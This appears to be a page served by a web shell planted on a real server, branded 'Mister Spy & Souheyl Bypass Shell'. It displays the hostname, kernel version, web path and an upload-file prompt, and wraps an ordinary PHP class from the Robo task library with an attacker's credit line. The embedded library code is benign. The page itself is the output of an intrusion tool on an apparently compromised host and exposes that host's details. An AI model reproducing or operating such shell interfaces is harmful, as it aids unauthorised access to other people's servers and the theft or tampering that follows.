Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/vendor/consolidation/robo/src/Collection/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/vendor/consolidation/robo/src/Collection/CallableTask.php

<?php

namespace Robo\Collection;

use Robo\Result;
use Robo\Contract\TaskInterface;
use Robo\State\StateAwareInterface;
use Robo\State\Data;

/**
 * Creates a task wrapper that converts any Callable into an
 * object that can be used directly with a task collection.
 *
 * It is not necessary to use this class directly; Collection will
 * automatically wrap Callables when they are added.
 */
class CallableTask implements TaskInterface
{
    /**
     * @var callable
     */
    protected $fn;

    /**
     * @var \Robo\Contract\TaskInterface
     */
    protected $reference;

    public function __construct(callable $fn, TaskInterface $reference)
    {
        $this->fn = $fn;
        $this->reference = $reference;
    }

    /**
     * {@inheritdoc}
     */
    public function run()
    {
        $result = call_user_func($this->fn, $this->getState());
        // If the function returns no result, then count it
        // as a success.
        if (!isset($result)) {
            $result = Result::success($this->reference);
        }
        // If the function returns a result, it must either return
        // a \Robo\Result or an exit code.  In the later case, we
        // convert it to a \Robo\Result.
        if (!$result instanceof Result) {
            $result = new Result($this->reference, $result);
        }

        return $result;
    }

    /**
     * @return \Robo\State\Data
     */
    public function getState()
    {
        if ($this->reference instanceof StateAwareInterface) {
            return $this->reference->getState();
        }
        return new Data();
    }
}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net